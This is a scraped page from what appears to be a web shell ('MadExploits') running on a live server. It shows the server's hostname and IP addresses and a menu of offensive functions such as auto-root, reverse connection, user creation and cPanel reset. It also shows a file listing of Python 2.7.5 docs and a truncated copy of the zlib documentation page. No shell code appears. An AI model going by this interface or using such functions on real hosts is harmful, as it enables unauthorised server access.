Linux server.nvwebsoft.co.in 3.10.0-1160.114.2.el7.x86_64 #1 SMP Wed Mar 20 15:54:52 UTC 2024 x86_64
Apache
: 162.240.12.249 | : 3.12.71.166
202 Domain
8.1.31
nbspublicschool
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
python-docs-2.7.5 /
html /
library /
[ HOME SHELL ]
Name
Size
Permission
Action
2to3.html
49.27
KB
-rw-r--r--
__builtin__.html
10.26
KB
-rw-r--r--
__future__.html
13.79
KB
-rw-r--r--
__main__.html
7.05
KB
-rw-r--r--
_winreg.html
59.21
KB
-rw-r--r--
abc.html
23.9
KB
-rw-r--r--
aepack.html
13.16
KB
-rw-r--r--
aetools.html
14.91
KB
-rw-r--r--
aetypes.html
18.88
KB
-rw-r--r--
aifc.html
22.4
KB
-rw-r--r--
al.html
17.34
KB
-rw-r--r--
allos.html
33.72
KB
-rw-r--r--
anydbm.html
16.33
KB
-rw-r--r--
archiving.html
9.26
KB
-rw-r--r--
argparse.html
237.62
KB
-rw-r--r--
array.html
29.29
KB
-rw-r--r--
ast.html
34.98
KB
-rw-r--r--
asynchat.html
31.43
KB
-rw-r--r--
asyncore.html
36.51
KB
-rw-r--r--
atexit.html
16.8
KB
-rw-r--r--
audioop.html
31.36
KB
-rw-r--r--
autogil.html
8.19
KB
-rw-r--r--
base64.html
19.67
KB
-rw-r--r--
basehttpserver.html
34.04
KB
-rw-r--r--
bastion.html
11.04
KB
-rw-r--r--
bdb.html
36.68
KB
-rw-r--r--
binascii.html
20.67
KB
-rw-r--r--
binhex.html
10.58
KB
-rw-r--r--
bisect.html
23.24
KB
-rw-r--r--
bsddb.html
26.43
KB
-rw-r--r--
bz2.html
26.08
KB
-rw-r--r--
calendar.html
37.79
KB
-rw-r--r--
carbon.html
48.94
KB
-rw-r--r--
cd.html
27.96
KB
-rw-r--r--
cgi.html
49.92
KB
-rw-r--r--
cgihttpserver.html
13.1
KB
-rw-r--r--
cgitb.html
11.41
KB
-rw-r--r--
chunk.html
14.66
KB
-rw-r--r--
cmath.html
25.63
KB
-rw-r--r--
cmd.html
26.09
KB
-rw-r--r--
code.html
24.58
KB
-rw-r--r--
codecs.html
100.64
KB
-rw-r--r--
codeop.html
14.84
KB
-rw-r--r--
collections.html
133.96
KB
-rw-r--r--
colorpicker.html
7.52
KB
-rw-r--r--
colorsys.html
11.04
KB
-rw-r--r--
commands.html
14.36
KB
-rw-r--r--
compileall.html
16.83
KB
-rw-r--r--
compiler.html
67.75
KB
-rw-r--r--
configparser.html
62.13
KB
-rw-r--r--
constants.html
12.83
KB
-rw-r--r--
contextlib.html
19.39
KB
-rw-r--r--
cookie.html
39.07
KB
-rw-r--r--
cookielib.html
83.82
KB
-rw-r--r--
copy.html
12.19
KB
-rw-r--r--
copy_reg.html
13.76
KB
-rw-r--r--
crypt.html
10.04
KB
-rw-r--r--
crypto.html
7.59
KB
-rw-r--r--
csv.html
67.37
KB
-rw-r--r--
ctypes.html
238.78
KB
-rw-r--r--
curses.ascii.html
22.29
KB
-rw-r--r--
curses.html
146.63
KB
-rw-r--r--
curses.panel.html
14.39
KB
-rw-r--r--
custominterp.html
7.62
KB
-rw-r--r--
datatypes.html
16.84
KB
-rw-r--r--
datetime.html
226.59
KB
-rw-r--r--
dbhash.html
15.48
KB
-rw-r--r--
dbm.html
12.07
KB
-rw-r--r--
debug.html
10.15
KB
-rw-r--r--
decimal.html
194.44
KB
-rw-r--r--
development.html
14.17
KB
-rw-r--r--
difflib.html
84.83
KB
-rw-r--r--
dircache.html
11.41
KB
-rw-r--r--
dis.html
69.95
KB
-rw-r--r--
distutils.html
8.05
KB
-rw-r--r--
dl.html
16.33
KB
-rw-r--r--
doctest.html
165.54
KB
-rw-r--r--
docxmlrpcserver.html
16.43
KB
-rw-r--r--
dumbdbm.html
14.02
KB
-rw-r--r--
dummy_thread.html
9.43
KB
-rw-r--r--
dummy_threading.html
8.37
KB
-rw-r--r--
easydialogs.html
30.55
KB
-rw-r--r--
email-examples.html
45.65
KB
-rw-r--r--
email.charset.html
26.8
KB
-rw-r--r--
email.encoders.html
11.86
KB
-rw-r--r--
email.errors.html
15.77
KB
-rw-r--r--
email.generator.html
20.77
KB
-rw-r--r--
email.header.html
26.92
KB
-rw-r--r--
email.html
44.24
KB
-rw-r--r--
email.iterators.html
11.52
KB
-rw-r--r--
email.message.html
63.16
KB
-rw-r--r--
email.mime.html
27.93
KB
-rw-r--r--
email.parser.html
30.45
KB
-rw-r--r--
email.util.html
24.46
KB
-rw-r--r--
errno.html
37.99
KB
-rw-r--r--
exceptions.html
56.13
KB
-rw-r--r--
fcntl.html
22.67
KB
-rw-r--r--
filecmp.html
22.3
KB
-rw-r--r--
fileformats.html
9.14
KB
-rw-r--r--
fileinput.html
24.28
KB
-rw-r--r--
filesys.html
10.2
KB
-rw-r--r--
fl.html
49.92
KB
-rw-r--r--
fm.html
11.91
KB
-rw-r--r--
fnmatch.html
14.58
KB
-rw-r--r--
formatter.html
34.06
KB
-rw-r--r--
fpectl.html
16.01
KB
-rw-r--r--
fpformat.html
10.59
KB
-rw-r--r--
fractions.html
22.61
KB
-rw-r--r--
framework.html
33.34
KB
-rw-r--r--
frameworks.html
7.14
KB
-rw-r--r--
ftplib.html
43.99
KB
-rw-r--r--
functions.html
183.14
KB
-rw-r--r--
functools.html
27.17
KB
-rw-r--r--
future_builtins.html
13.04
KB
-rw-r--r--
gc.html
25.75
KB
-rw-r--r--
gdbm.html
15.96
KB
-rw-r--r--
gensuitemodule.html
11.51
KB
-rw-r--r--
getopt.html
23.66
KB
-rw-r--r--
getpass.html
10.65
KB
-rw-r--r--
gettext.html
78.76
KB
-rw-r--r--
gl.html
22.09
KB
-rw-r--r--
glob.html
13.26
KB
-rw-r--r--
grp.html
10.49
KB
-rw-r--r--
gzip.html
18.99
KB
-rw-r--r--
hashlib.html
18.2
KB
-rw-r--r--
heapq.html
31.61
KB
-rw-r--r--
hmac.html
10.46
KB
-rw-r--r--
hotshot.html
18.65
KB
-rw-r--r--
htmllib.html
25.32
KB
-rw-r--r--
htmlparser.html
39.11
KB
-rw-r--r--
httplib.html
62.95
KB
-rw-r--r--
i18n.html
9.52
KB
-rw-r--r--
ic.html
17.17
KB
-rw-r--r--
idle.html
20.9
KB
-rw-r--r--
imageop.html
14.76
KB
-rw-r--r--
imaplib.html
51.99
KB
-rw-r--r--
imgfile.html
11.71
KB
-rw-r--r--
imghdr.html
11.3
KB
-rw-r--r--
imp.html
34.34
KB
-rw-r--r--
importlib.html
8.26
KB
-rw-r--r--
imputil.html
31.81
KB
-rw-r--r--
index.html
72.78
KB
-rw-r--r--
inspect.html
50.71
KB
-rw-r--r--
internet.html
24.87
KB
-rw-r--r--
intro.html
8.93
KB
-rw-r--r--
io.html
98.13
KB
-rw-r--r--
ipc.html
13.41
KB
-rw-r--r--
itertools.html
115.91
KB
-rw-r--r--
jpeg.html
12.74
KB
-rw-r--r--
json.html
67.04
KB
-rw-r--r--
keyword.html
7.68
KB
-rw-r--r--
language.html
11.03
KB
-rw-r--r--
linecache.html
10.59
KB
-rw-r--r--
locale.html
55.14
KB
-rw-r--r--
logging.config.html
63.36
KB
-rw-r--r--
logging.handlers.html
69.64
KB
-rw-r--r--
logging.html
95.64
KB
-rw-r--r--
mac.html
21.79
KB
-rw-r--r--
macos.html
14.76
KB
-rw-r--r--
macosa.html
12.96
KB
-rw-r--r--
macostools.html
15.52
KB
-rw-r--r--
macpath.html
7.76
KB
-rw-r--r--
mailbox.html
156.75
KB
-rw-r--r--
mailcap.html
13.21
KB
-rw-r--r--
markup.html
18.77
KB
-rw-r--r--
marshal.html
17.98
KB
-rw-r--r--
math.html
39.24
KB
-rw-r--r--
md5.html
13.97
KB
-rw-r--r--
mhlib.html
21.54
KB
-rw-r--r--
mimetools.html
19.25
KB
-rw-r--r--
mimetypes.html
28.39
KB
-rw-r--r--
mimewriter.html
15.02
KB
-rw-r--r--
mimify.html
13.36
KB
-rw-r--r--
miniaeframe.html
12.2
KB
-rw-r--r--
misc.html
6.87
KB
-rw-r--r--
mm.html
9.03
KB
-rw-r--r--
mmap.html
28.36
KB
-rw-r--r--
modulefinder.html
15.31
KB
-rw-r--r--
modules.html
8.46
KB
-rw-r--r--
msilib.html
52.43
KB
-rw-r--r--
msvcrt.html
19.37
KB
-rw-r--r--
multifile.html
24.3
KB
-rw-r--r--
multiprocessing.html
365.71
KB
-rw-r--r--
mutex.html
11.23
KB
-rw-r--r--
netdata.html
16.98
KB
-rw-r--r--
netrc.html
12.3
KB
-rw-r--r--
new.html
12.12
KB
-rw-r--r--
nis.html
10.64
KB
-rw-r--r--
nntplib.html
41.92
KB
-rw-r--r--
numbers.html
37.75
KB
-rw-r--r--
numeric.html
13.55
KB
-rw-r--r--
operator.html
82
KB
-rw-r--r--
optparse.html
222.56
KB
-rw-r--r--
os.html
214.25
KB
-rw-r--r--
os.path.html
38.34
KB
-rw-r--r--
ossaudiodev.html
41.5
KB
-rw-r--r--
othergui.html
9.08
KB
-rw-r--r--
parser.html
39.36
KB
-rw-r--r--
pdb.html
33.96
KB
-rw-r--r--
persistence.html
14.87
KB
-rw-r--r--
pickle.html
102.27
KB
-rw-r--r--
pickletools.html
10.63
KB
-rw-r--r--
pipes.html
18.01
KB
-rw-r--r--
pkgutil.html
25.11
KB
-rw-r--r--
platform.html
28.37
KB
-rw-r--r--
plistlib.html
17.03
KB
-rw-r--r--
popen2.html
25.43
KB
-rw-r--r--
poplib.html
22.32
KB
-rw-r--r--
posix.html
14.41
KB
-rw-r--r--
posixfile.html
19.76
KB
-rw-r--r--
pprint.html
29.92
KB
-rw-r--r--
profile.html
63.56
KB
-rw-r--r--
pty.html
9.48
KB
-rw-r--r--
pwd.html
11.43
KB
-rw-r--r--
py_compile.html
11.12
KB
-rw-r--r--
pyclbr.html
14.71
KB
-rw-r--r--
pydoc.html
11.48
KB
-rw-r--r--
pyexpat.html
71.53
KB
-rw-r--r--
python.html
12.27
KB
-rw-r--r--
queue.html
24.22
KB
-rw-r--r--
quopri.html
11.9
KB
-rw-r--r--
random.html
37.83
KB
-rw-r--r--
re.html
134.74
KB
-rw-r--r--
readline.html
28.24
KB
-rw-r--r--
repr.html
20.43
KB
-rw-r--r--
resource.html
26.48
KB
-rw-r--r--
restricted.html
11.65
KB
-rw-r--r--
rexec.html
37.41
KB
-rw-r--r--
rfc822.html
42.22
KB
-rw-r--r--
rlcompleter.html
13.51
KB
-rw-r--r--
robotparser.html
12.27
KB
-rw-r--r--
runpy.html
19.34
KB
-rw-r--r--
sched.html
18.54
KB
-rw-r--r--
scrolledtext.html
9.32
KB
-rw-r--r--
select.html
39.67
KB
-rw-r--r--
sets.html
36.92
KB
-rw-r--r--
sgi.html
9.71
KB
-rw-r--r--
sgmllib.html
30.77
KB
-rw-r--r--
sha.html
12.09
KB
-rw-r--r--
shelve.html
27.02
KB
-rw-r--r--
shlex.html
32.1
KB
-rw-r--r--
shutil.html
40.22
KB
-rw-r--r--
signal.html
31.14
KB
-rw-r--r--
simplehttpserver.html
18.41
KB
-rw-r--r--
simplexmlrpcserver.html
31.39
KB
-rw-r--r--
site.html
23.64
KB
-rw-r--r--
smtpd.html
12.46
KB
-rw-r--r--
smtplib.html
42.13
KB
-rw-r--r--
sndhdr.html
10.02
KB
-rw-r--r--
socket.html
106.34
KB
-rw-r--r--
socketserver.html
59.83
KB
-rw-r--r--
someos.html
15.11
KB
-rw-r--r--
spwd.html
10.33
KB
-rw-r--r--
sqlite3.html
139.5
KB
-rw-r--r--
ssl.html
65.62
KB
-rw-r--r--
stat.html
32.31
KB
-rw-r--r--
statvfs.html
10.6
KB
-rw-r--r--
stdtypes.html
260.4
KB
-rw-r--r--
string.html
106.65
KB
-rw-r--r--
stringio.html
18.81
KB
-rw-r--r--
stringprep.html
16.13
KB
-rw-r--r--
strings.html
14.93
KB
-rw-r--r--
struct.html
40.88
KB
-rw-r--r--
subprocess.html
84.91
KB
-rw-r--r--
sun.html
6.84
KB
-rw-r--r--
sunau.html
27.1
KB
-rw-r--r--
sunaudio.html
17.79
KB
-rw-r--r--
symbol.html
7.66
KB
-rw-r--r--
symtable.html
22.94
KB
-rw-r--r--
sys.html
98.7
KB
-rw-r--r--
sysconfig.html
23.84
KB
-rw-r--r--
syslog.html
17.92
KB
-rw-r--r--
tabnanny.html
10.63
KB
-rw-r--r--
tarfile.html
78.68
KB
-rw-r--r--
telnetlib.html
25.48
KB
-rw-r--r--
tempfile.html
29.42
KB
-rw-r--r--
termios.html
16.01
KB
-rw-r--r--
test.html
52.62
KB
-rw-r--r--
textwrap.html
27.25
KB
-rw-r--r--
thread.html
20.47
KB
-rw-r--r--
threading.html
76.69
KB
-rw-r--r--
time.html
56.93
KB
-rw-r--r--
timeit.html
36.27
KB
-rw-r--r--
tix.html
46.96
KB
-rw-r--r--
tk.html
23.64
KB
-rw-r--r--
tkinter.html
67.67
KB
-rw-r--r--
token.html
19.62
KB
-rw-r--r--
tokenize.html
18.45
KB
-rw-r--r--
trace.html
25.54
KB
-rw-r--r--
traceback.html
33.44
KB
-rw-r--r--
ttk.html
101.75
KB
-rw-r--r--
tty.html
9.06
KB
-rw-r--r--
turtle.html
211.74
KB
-rw-r--r--
types.html
27.59
KB
-rw-r--r--
undoc.html
23.16
KB
-rw-r--r--
unicodedata.html
18.55
KB
-rw-r--r--
unittest.html
202.85
KB
-rw-r--r--
unix.html
10.55
KB
-rw-r--r--
urllib.html
58.68
KB
-rw-r--r--
urllib2.html
100.58
KB
-rw-r--r--
urlparse.html
40.41
KB
-rw-r--r--
user.html
11.83
KB
-rw-r--r--
userdict.html
29.73
KB
-rw-r--r--
uu.html
11.03
KB
-rw-r--r--
uuid.html
28.19
KB
-rw-r--r--
warnings.html
46.6
KB
-rw-r--r--
wave.html
22.22
KB
-rw-r--r--
weakref.html
36.52
KB
-rw-r--r--
webbrowser.html
23.07
KB
-rw-r--r--
whichdb.html
8.85
KB
-rw-r--r--
windows.html
9.33
KB
-rw-r--r--
winsound.html
18.75
KB
-rw-r--r--
wsgiref.html
81.04
KB
-rw-r--r--
xdrlib.html
29.94
KB
-rw-r--r--
xml.dom.html
89.04
KB
-rw-r--r--
xml.dom.minidom.html
40.42
KB
-rw-r--r--
xml.dom.pulldom.html
12.71
KB
-rw-r--r--
xml.etree.elementtree.html
93.22
KB
-rw-r--r--
xml.html
16.49
KB
-rw-r--r--
xml.sax.handler.html
38.63
KB
-rw-r--r--
xml.sax.html
20.22
KB
-rw-r--r--
xml.sax.reader.html
39.09
KB
-rw-r--r--
xml.sax.utils.html
14.26
KB
-rw-r--r--
xmlrpclib.html
60.79
KB
-rw-r--r--
zipfile.html
53.14
KB
-rw-r--r--
zipimport.html
20.42
KB
-rw-r--r--
zlib.html
25.46
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : zlib.html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>12.1. zlib — Compression compatible with gzip — Python 2.7.5 documentation</title> <link rel="stylesheet" href="../_static/default.css" type="text/css" /> <link rel="stylesheet" href="../_static/pygments.css" type="text/css" /> <script type="text/javascript"> var DOCUMENTATION_OPTIONS = { URL_ROOT: '../', VERSION: '2.7.5', COLLAPSE_INDEX: false, FILE_SUFFIX: '.html', HAS_SOURCE: true }; </script> <script type="text/javascript" src="../_static/jquery.js"></script> <script type="text/javascript" src="../_static/underscore.js"></script> <script type="text/javascript" src="../_static/doctools.js"></script> <script type="text/javascript" src="../_static/sidebar.js"></script> <link rel="search" type="application/opensearchdescription+xml" title="Search within Python 2.7.5 documentation" href="../_static/opensearch.xml"/> <link rel="author" title="About these documents" href="../about.html" /> <link rel="copyright" title="Copyright" href="../copyright.html" /> <link rel="top" title="Python 2.7.5 documentation" href="../index.html" /> <link rel="up" title="12. Data Compression and Archiving" href="archiving.html" /> <link rel="next" title="12.2. gzip — Support for gzip files" href="gzip.html" /> <link rel="prev" title="12. Data Compression and Archiving" href="archiving.html" /> <link rel="shortcut icon" type="image/png" href="../_static/py.png" /> <script type="text/javascript" src="../_static/copybutton.js"></script> </head> <body> <div class="related"> <h3>Navigation</h3> <ul> <li class="right" style="margin-right: 10px"> <a href="../genindex.html" title="General Index" accesskey="I">index</a></li> <li class="right" > <a href="../py-modindex.html" title="Python Module Index" >modules</a> |</li> <li class="right" > <a href="gzip.html" title="12.2. gzip — Support for gzip files" accesskey="N">next</a> |</li> <li class="right" > <a href="archiving.html" title="12. Data Compression and Archiving" accesskey="P">previous</a> |</li> <li><img src="../_static/py.png" alt="" style="vertical-align: middle; margin-top: -1px"/></li> <li><a href="http://www.python.org/">Python</a> »</li> <li> <a href="../index.html">Python 2.7.5 documentation</a> » </li> <li><a href="index.html" >The Python Standard Library</a> »</li> <li><a href="archiving.html" accesskey="U">12. Data Compression and Archiving</a> »</li> </ul> </div> <div class="document"> <div class="documentwrapper"> <div class="bodywrapper"> <div class="body"> <div class="section" id="module-zlib"> <span id="zlib-compression-compatible-with-gzip"></span><h1>12.1. <a class="reference internal" href="#module-zlib" title="zlib: Low-level interface to compression and decompression routines compatible with gzip."><tt class="xref py py-mod docutils literal"><span class="pre">zlib</span></tt></a> — Compression compatible with <strong class="program">gzip</strong><a class="headerlink" href="#module-zlib" title="Permalink to this headline">¶</a></h1> <p>For applications that require data compression, the functions in this module allow compression and decompression, using the zlib library. The zlib library has its own home page at <a class="reference external" href="http://www.zlib.net">http://www.zlib.net</a>. There are known incompatibilities between the Python module and versions of the zlib library earlier than 1.1.3; 1.1.3 has a security vulnerability, so we recommend using 1.1.4 or later.</p> <p>zlib’s functions have many options and often need to be used in a particular order. This documentation doesn’t attempt to cover all of the permutations; consult the zlib manual at <a class="reference external" href="http://www.zlib.net/manual.html">http://www.zlib.net/manual.html</a> for authoritative information.</p> <p>For reading and writing <tt class="docutils literal"><span class="pre">.gz</span></tt> files see the <a class="reference internal" href="gzip.html#module-gzip" title="gzip: Interfaces for gzip compression and decompression using file objects."><tt class="xref py py-mod docutils literal"><span class="pre">gzip</span></tt></a> module.</p> <p>The available exception and functions in this module are:</p> <dl class="exception"> <dt id="zlib.error"> <em class="property">exception </em><tt class="descclassname">zlib.</tt><tt class="descname">error</tt><a class="headerlink" href="#zlib.error" title="Permalink to this definition">¶</a></dt> <dd><p>Exception raised on compression and decompression errors.</p> </dd></dl> <dl class="function"> <dt id="zlib.adler32"> <tt class="descclassname">zlib.</tt><tt class="descname">adler32</tt><big>(</big><em>data</em><span class="optional">[</span>, <em>value</em><span class="optional">]</span><big>)</big><a class="headerlink" href="#zlib.adler32" title="Permalink to this definition">¶</a></dt> <dd><p>Computes a Adler-32 checksum of <em>data</em>. (An Adler-32 checksum is almost as reliable as a CRC32 but can be computed much more quickly.) If <em>value</em> is present, it is used as the starting value of the checksum; otherwise, a fixed default value is used. This allows computing a running checksum over the concatenation of several inputs. The algorithm is not cryptographically strong, and should not be used for authentication or digital signatures. Since the algorithm is designed for use as a checksum algorithm, it is not suitable for use as a general hash algorithm.</p> <p>This function always returns an integer object.</p> </dd></dl> <div class="admonition note"> <p class="first admonition-title">Note</p> <p class="last">To generate the same numeric value across all Python versions and platforms use adler32(data) & 0xffffffff. If you are only using the checksum in packed binary format this is not necessary as the return value is the correct 32bit binary representation regardless of sign.</p> </div> <p class="versionchanged"> <span class="versionmodified">Changed in version 2.6: </span>The return value is in the range [-2**31, 2**31-1] regardless of platform. In older versions the value is signed on some platforms and unsigned on others.</p> <p class="versionchanged"> <span class="versionmodified">Changed in version 3.0: </span>The return value is unsigned and in the range [0, 2**32-1] regardless of platform.</p> <dl class="function"> <dt id="zlib.compress"> <tt class="descclassname">zlib.</tt><tt class="descname">compress</tt><big>(</big><em>string</em><span class="optional">[</span>, <em>level</em><span class="optional">]</span><big>)</big><a class="headerlink" href="#zlib.compress" title="Permalink to this definition">¶</a></dt> <dd><p>Compresses the data in <em>string</em>, returning a string contained compressed data. <em>level</em> is an integer from <tt class="docutils literal"><span class="pre">0</span></tt> to <tt class="docutils literal"><span class="pre">9</span></tt> controlling the level of compression; <tt class="docutils literal"><span class="pre">1</span></tt> is fastest and produces the least compression, <tt class="docutils literal"><span class="pre">9</span></tt> is slowest and produces the most. <tt class="docutils literal"><span class="pre">0</span></tt> is no compression. The default value is <tt class="docutils literal"><span class="pre">6</span></tt>. Raises the <a class="reference internal" href="#zlib.error" title="zlib.error"><tt class="xref py py-exc docutils literal"><span class="pre">error</span></tt></a> exception if any error occurs.</p> </dd></dl> <dl class="function"> <dt id="zlib.compressobj"> <tt class="descclassname">zlib.</tt><tt class="descname">compressobj</tt><big>(</big><span class="optional">[</span><em>level</em><span class="optional">]</span><big>)</big><a class="headerlink" href="#zlib.compressobj" title="Permalink to this definition">¶</a></dt> <dd><p>Returns a compression object, to be used for compressing data streams that won’t fit into memory at once. <em>level</em> is an integer from <tt class="docutils literal"><span class="pre">0</span></tt> to <tt class="docutils literal"><span class="pre">9</span></tt> controlling the level of compression; <tt class="docutils literal"><span class="pre">1</span></tt> is fastest and produces the least compression, <tt class="docutils literal"><span class="pre">9</span></tt> is slowest and produces the most. <tt class="docutils literal"><span class="pre">0</span></tt> is no compression. The default value is <tt class="docutils literal"><span class="pre">6</span></tt>.</p> </dd></dl> <dl class="function"> <dt id="zlib.crc32"> <tt class="descclassname">zlib.</tt><tt class="descname">crc32</tt><big>(</big><em>data</em><span class="optional">[</span>, <em>value</em><span class="optional">]</span><big>)</big><a class="headerlink" href="#zlib.crc32" title="Permalink to this definition">¶</a></dt> <dd><p id="index-0">Computes a CRC (Cyclic Redundancy Check) checksum of <em>data</em>. If <em>value</em> is present, it is used as the starting value of the checksum; otherwise, a fixed default value is used. This allows computing a running checksum over the concatenation of several inputs. The algorithm is not cryptographically strong, and should not be used for authentication or digital signatures. Since the algorithm is designed for use as a checksum algorithm, it is not suitable for use as a general hash algorithm.</p> <p>This function always returns an integer object.</p> </dd></dl> <div class="admonition note"> <p class="first admonition-title">Note</p> <p class="last">To generate the same numeric value across all Python versions and platforms use crc32(data) & 0xffffffff. If you are only using the checksum in packed binary format this is not necessary as the return value is the correct 32bit binary representation regardless of sign.</p> </div> <p class="versionchanged"> <span class="versionmodified">Changed in version 2.6: </span>The return value is in the range [-2**31, 2**31-1] regardless of platform. In older versions the value would be signed on some platforms and unsigned on others.</p> <p class="versionchanged"> <span class="versionmodified">Changed in version 3.0: </span>The return value is unsigned and in the range [0, 2**32-1] regardless of platform.</p> <dl class="function"> <dt id="zlib.decompress"> <tt class="descclassname">zlib.</tt><tt class="descname">decompress</tt><big>(</big><em>string</em><span class="optional">[</span>, <em>wbits</em><span class="optional">[</span>, <em>bufsize</em><span class="optional">]</span><span class="optional">]</span><big>)</big><a class="headerlink" href="#zlib.decompress" title="Permalink to this definition">¶</a></dt> <dd><p>Decompresses the data in <em>string</em>, returning a string containing the uncompressed data. The <em>wbits</em> parameter controls the size of the window buffer, and is discussed further below. If <em>bufsize</em> is given, it is used as the initial size of the output buffer. Raises the <a class="reference internal" href="#zlib.error" title="zlib.error"><tt class="xref py py-exc docutils literal"><span class="pre">error</span></tt></a> exception if any error occurs.</p> <p>The absolute value of <em>wbits</em> is the base two logarithm of the size of the history buffer (the “window size”) used when compressing data. Its absolute value should be between 8 and 15 for the most recent versions of the zlib library, larger values resulting in better compression at the expense of greater memory usage. When decompressing a stream, <em>wbits</em> must not be smaller than the size originally used to compress the stream; using a too-small value will result in an exception. The default value is therefore the highest value, 15. When <em>wbits</em> is negative, the standard <strong class="program">gzip</strong> header is suppressed.</p> <p><em>bufsize</em> is the initial size of the buffer used to hold decompressed data. If more space is required, the buffer size will be increased as needed, so you don’t have to get this value exactly right; tuning it will only save a few calls to <tt class="xref c c-func docutils literal"><span class="pre">malloc()</span></tt>. The default size is 16384.</p> </dd></dl> <dl class="function"> <dt id="zlib.decompressobj"> <tt class="descclassname">zlib.</tt><tt class="descname">decompressobj</tt><big>(</big><span class="optional">[</span><em>wbits</em><span class="optional">]</span><big>)</big><a class="headerlink" href="#zlib.decompressobj" title="Permalink to this definition">¶</a></dt> <dd><p>Returns a decompression object, to be used for decompressing data streams that won’t fit into memory at once. The <em>wbits</em> parameter controls the size of the window buffer.</p> </dd></dl> <p>Compression objects support the following methods:</p> <dl class="method"> <dt id="zlib.Compress.compress"> <tt class="descclassname">Compress.</tt><tt class="descname">compress</tt><big>(</big><em>string</em><big>)</big><a class="headerlink" href="#zlib.Compress.compress" title="Permalink to this definition">¶</a></dt> <dd><p>Compress <em>string</em>, returning a string containing compressed data for at least part of the data in <em>string</em>. This data should be concatenated to the output produced by any preceding calls to the <a class="reference internal" href="#zlib.compress" title="zlib.compress"><tt class="xref py py-meth docutils literal"><span class="pre">compress()</span></tt></a> method. Some input may be kept in internal buffers for later processing.</p> </dd></dl> <dl class="method"> <dt id="zlib.Compress.flush"> <tt class="descclassname">Compress.</tt><tt class="descname">flush</tt><big>(</big><span class="optional">[</span><em>mode</em><span class="optional">]</span><big>)</big><a class="headerlink" href="#zlib.Compress.flush" title="Permalink to this definition">¶</a></dt> <dd><p>All pending input is processed, and a string containing the remaining compressed output is returned. <em>mode</em> can be selected from the constants <tt class="xref py py-const docutils literal"><span class="pre">Z_SYNC_FLUSH</span></tt>, <tt class="xref py py-const docutils literal"><span class="pre">Z_FULL_FLUSH</span></tt>, or <tt class="xref py py-const docutils literal"><span class="pre">Z_FINISH</span></tt>, defaulting to <tt class="xref py py-const docutils literal"><span class="pre">Z_FINISH</span></tt>. <tt class="xref py py-const docutils literal"><span class="pre">Z_SYNC_FLUSH</span></tt> and <tt class="xref py py-const docutils literal"><span class="pre">Z_FULL_FLUSH</span></tt> allow compressing further strings of data, while <tt class="xref py py-const docutils literal"><span class="pre">Z_FINISH</span></tt> finishes the compressed stream and prevents compressing any more data. After calling <a class="reference internal" href="#zlib.Compress.flush" title="zlib.Compress.flush"><tt class="xref py py-meth docutils literal"><span class="pre">flush()</span></tt></a> with <em>mode</em> set to <tt class="xref py py-const docutils literal"><span class="pre">Z_FINISH</span></tt>, the <a class="reference internal" href="#zlib.compress" title="zlib.compress"><tt class="xref py py-meth docutils literal"><span class="pre">compress()</span></tt></a> method cannot be called again; the only realistic action is to delete the object.</p> </dd></dl> <dl class="method"> <dt id="zlib.Compress.copy"> <tt class="descclassname">Compress.</tt><tt class="descname">copy</tt><big>(</big><big>)</big><a class="headerlink" href="#zlib.Compress.copy" title="Permalink to this definition">¶</a></dt> <dd><p>Returns a copy of the compression object. This can be used to efficiently compress a set of data that share a common initial prefix.</p> <p class="versionadded"> <span class="versionmodified">New in version 2.5.</span></p> </dd></dl> <p>Decompression objects support the following methods, and two attributes:</p> <dl class="attribute"> <dt id="zlib.Decompress.unused_data"> <tt class="descclassname">Decompress.</tt><tt class="descname">unused_data</tt><a class="headerlink" href="#zlib.Decompress.unused_data" title="Permalink to this definition">¶</a></dt> <dd><p>A string which contains any bytes past the end of the compressed data. That is, this remains <tt class="docutils literal"><span class="pre">""</span></tt> until the last byte that contains compression data is available. If the whole string turned out to contain compressed data, this is <tt class="docutils literal"><span class="pre">""</span></tt>, the empty string.</p> <p>The only way to determine where a string of compressed data ends is by actually decompressing it. This means that when compressed data is contained part of a larger file, you can only find the end of it by reading data and feeding it followed by some non-empty string into a decompression object’s <a class="reference internal" href="#zlib.decompress" title="zlib.decompress"><tt class="xref py py-meth docutils literal"><span class="pre">decompress()</span></tt></a> method until the <a class="reference internal" href="#zlib.Decompress.unused_data" title="zlib.Decompress.unused_data"><tt class="xref py py-attr docutils literal"><span class="pre">unused_data</span></tt></a> attribute is no longer the empty string.</p> </dd></dl> <dl class="attribute"> <dt id="zlib.Decompress.unconsumed_tail"> <tt class="descclassname">Decompress.</tt><tt class="descname">unconsumed_tail</tt><a class="headerlink" href="#zlib.Decompress.unconsumed_tail" title="Permalink to this definition">¶</a></dt> <dd><p>A string that contains any data that was not consumed by the last <a class="reference internal" href="#zlib.decompress" title="zlib.decompress"><tt class="xref py py-meth docutils literal"><span class="pre">decompress()</span></tt></a> call because it exceeded the limit for the uncompressed data buffer. This data has not yet been seen by the zlib machinery, so you must feed it (possibly with further data concatenated to it) back to a subsequent <a class="reference internal" href="#zlib.decompress" title="zlib.decompress"><tt class="xref py py-meth docutils literal"><span class="pre">decompress()</span></tt></a> method call in order to get correct output.</p> </dd></dl> <dl class="method"> <dt id="zlib.Decompress.decompress"> <tt class="descclassname">Decompress.</tt><tt class="descname">decompress</tt><big>(</big><em>string</em><span class="optional">[</span>, <em>max_length</em><span class="optional">]</span><big>)</big><a class="headerlink" href="#zlib.Decompress.decompress" title="Permalink to this definition">¶</a></dt> <dd><p>Decompress <em>string</em>, returning a string containing the uncompressed data corresponding to at least part of the data in <em>string</em>. This data should be concatenated to the output produced by any preceding calls to the <a class="reference internal" href="#zlib.decompress" title="zlib.decompress"><tt class="xref py py-meth docutils literal"><span class="pre">decompress()</span></tt></a> method. Some of the input data may be preserved in internal buffers for later processing.</p> <p>If the optional parameter <em>max_length</em> is supplied then the return value will be no longer than <em>max_length</em>. This may mean that not all of the compressed input can be processed; and unconsumed data will be stored in the attribute <a class="reference internal" href="#zlib.Decompress.unconsumed_tail" 